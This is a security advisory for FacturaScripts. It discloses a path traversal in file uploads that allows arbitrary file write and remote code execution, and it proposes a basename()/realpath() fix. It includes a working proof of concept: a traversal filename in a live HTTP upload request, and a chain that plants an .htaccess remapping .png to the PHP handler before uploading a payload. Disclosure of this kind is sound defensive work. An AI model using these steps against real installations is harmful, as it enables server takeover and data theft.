FacturaScripts: Path traversal in UploadedFile::move() via getClientOriginalName() — arbitrary file write outside MyFiles/ leading to RCE

Summary#

FacturaScripts\Core\UploadedFile::move($destiny, $destinyName) concatenates $destiny and $destinyName without normalizing the resulting path. Every caller in the codebase passes UploadedFile::getClientOriginalName() — the unsanitized client-supplied filename — as $destinyName, so an authenticated user submitting a filename containing ../ segments can write the uploaded content to any directory writable by the web-server user, escaping the intended MyFiles/ location.

Because the shipped htaccess-sample (the documented production Apache configuration) excludes Dinamic/Assets/ and node_modules/ from the index.php rewrite, files written into those directories are served directly by Apache. Combined with .htaccess not being in BLOCKED_EXTENSIONS, the primitive escalates from arbitrary file write to remote code execution.

Vulnerable Code#

Core/UploadedFile.php:

private const BLOCKED_EXTENSIONS = ['phar', 'php', 'php3', 'php4', 'php5', 'php7', 'php8', 'pht', 'phtml', 'phps'];

public function move(string $destiny, string $destinyName): bool
{
    if (!$this->isValid()) {
        return false;
    }
    if (substr($destiny, -1) !== DIRECTORY_SEPARATOR) {
        $destiny .= DIRECTORY_SEPARATOR;
    }
    return $this->test ?
        rename($this->tmp_name, $destiny . $destinyName) :
        move_uploaded_file($this->tmp_name, $destiny . $destinyName);
}

public function getClientOriginalName(): string
{
    return $this->name ?? '';
}

isValid() only checks the extension blocklist, the upload error code, and is_uploaded_file() — it never inspects the filename for directory separators or .. segments.

Six call sites pass the raw client filename straight into move():

• Core/Controller/ApiUploadFiles.php:58 — POST /api/3/uploadfiles
• Core/Controller/ApiAttachedFiles.php:136 — POST /api/3/attachedfiles
• Core/Lib/Widget/WidgetFile.php:84 — every form using a file widget
• Core/Lib/Widget/WidgetLibrary.php:215 — library widget upload
• Core/Lib/ExtendedController/DocFilesTrait.php:51 — document files trait
• Core/Controller/AdminPlugins.php:260 — plugin (zip) upload

Representative sink — Core/Controller/ApiUploadFiles.php:56-79:

private function uploadFile(UploadedFile $uploadFile): ?AttachedFile
{
    if (false === $uploadFile->isValid()) {
        return null;
    }
    $destiny = FS_FOLDER . '/MyFiles/';
    $destinyName = $uploadFile->getClientOriginalName();
    if (file_exists($destiny . $destinyName)) {
        $destinyName = mt_rand(1, 999999) . '_' . $destinyName;
    }
    if ($uploadFile->move($destiny, $destinyName)) {
        ...
    }
}

Shipped htaccess-sample (production Apache rules):

<IfModule mod_rewrite.c>
   RewriteEngine On
   RewriteBase /
   RewriteCond %{REQUEST_URI} !Dinamic/Assets/ [NC]
   RewriteCond %{REQUEST_URI} !node_modules/ [NC]
   RewriteRule . index.php [L]
</IfModule>

Apache therefore serves any file under Dinamic/Assets/ directly, bypassing index.php entirely.

PoC#

Step 1 — Static reproduction of the file-write primitive#

The following script replicates UploadedFile::move()'s rename() path verbatim inside a sandboxed temp directory. It does not run any payload — it only demonstrates that the destination escapes MyFiles/ when the filename contains ../.

<?php
$base = sys_get_temp_dir() . DIRECTORY_SEPARATOR . 'fs_verify_' . uniqid();
mkdir($base);
mkdir($base . '/MyFiles');
mkdir($base . '/Dinamic');
mkdir($base . '/Dinamic/Assets');

$tmp = $base . '/tmp_upload.dat';
file_put_contents($tmp, "static-verification-marker\n");

function fs_move($tmp_name, $destiny, $destinyName) {
    if (substr($destiny, -1) !== DIRECTORY_SEPARATOR) {
        $destiny .= DIRECTORY_SEPARATOR;
    }
    return rename($tmp_name, $destiny . $destinyName);
}

fs_move($tmp, $base . '/MyFiles', '../Dinamic/Assets/traversed.txt');

echo file_exists($base . '/Dinamic/Assets/traversed.txt')
    ? "WRITTEN OUTSIDE MyFiles\n"
    : "blocked\n";

Output:

WRITTEN OUTSIDE MyFiles

Step 2 — Equivalent live HTTP request#

POST /api/3/uploadfiles HTTP/1.1
Host: target
Token: <valid-api-token>
Content-Type: multipart/form-data; boundary=---X

-----X
Content-Disposition: form-data; name="files[]"; filename="../Dinamic/Assets/traversed.txt"
Content-Type: text/plain

static-verification-marker
-----X--

After the request, Dinamic/Assets/traversed.txt exists on disk and is reachable at https://target/Dinamic/Assets/traversed.txt — Apache serves it directly because the path is excluded from the index.php rewrite.

Step 3 — Chain to code execution#

Because .htaccess is not in BLOCKED_EXTENSIONS, the same primitive can write an Apache override into Dinamic/Assets/:

1. Upload with filename ../Dinamic/Assets/.htaccess and body AddType application/x-httpd-php .png
2. Upload with filename ../Dinamic/Assets/x.png containing a PHP payload (extension png is not blocked, content is not validated by isValid())
3. Request https://target/Dinamic/Assets/x.png — Apache hands it to the PHP handler per the uploaded .htaccess

Root Cause#

UploadedFile::move() performs raw $destiny . $destinyName concatenation and trusts getClientOriginalName(), which returns $this->name ?? '' with no normalization. No call site applies basename() or any equivalent before passing the client filename to move(). The blocklist in BLOCKED_EXTENSIONS covers only PHP-family extensions and does not cover htaccess, which is required for the rewrite-excluded directory to be useful for code execution.

Impact#

Authenticated attacker (any role with permission to call one of the six upload entry points — including any user allowed to attach a file to a record, or any API token with uploadfiles/attachedfiles access) can:

• Write arbitrary content to any path under the application root that is writable by the web-server user, including Dinamic/Assets/ (Apache-direct-served) and node_modules/.
• Overwrite shipped JS/CSS inside Dinamic/Assets/, injecting client-side script that executes in every administrator's browser → session takeover on next admin page load.
• Drop a .htaccess into Dinamic/Assets/ remapping a benign extension to the PHP handler, followed by a second upload that lands an executable payload — full remote code execution as the web-server user.

The required precondition is only an authenticated session or API token with upload privileges, which is granted to a wide range of non-administrative roles in standard installations.

Fix#

Minimal fix — sanitize inside UploadedFile::move() so every call site is covered automatically:

public function move(string $destiny, string $destinyName): bool
{
    if (!$this->isValid()) {
        return false;
    }
    // strip any directory component from the client-supplied filename
    $destinyName = basename($destinyName);
    if (substr($destiny, -1) !== DIRECTORY_SEPARATOR) {
        $destiny .= DIRECTORY_SEPARATOR;
    }
    return $this->test ?
        rename($this->tmp_name, $destiny . $destinyName) :
        move_uploaded_file($this->tmp_name, $destiny . $destinyName);
}

Apply the same change in moveTo().

Recommended hardening in addition:

• Add htaccess, htm, html, shtml, phtm to BLOCKED_EXTENSIONS, or replace the blocklist with an allowlist resolved per call site.
• After concatenating the final destination, verify with realpath() that the result is still inside the intended base directory; abort otherwise.
• Drop a Deny from all .htaccess (or equivalent web-server rule) into MyFiles/ so even successfully written files cannot be requested directly without going through the application download endpoint (which already enforces MyFilesToken).

Status#

Reported privately to the maintainer via GitHub Security Advisory. Awaiting acknowledgement.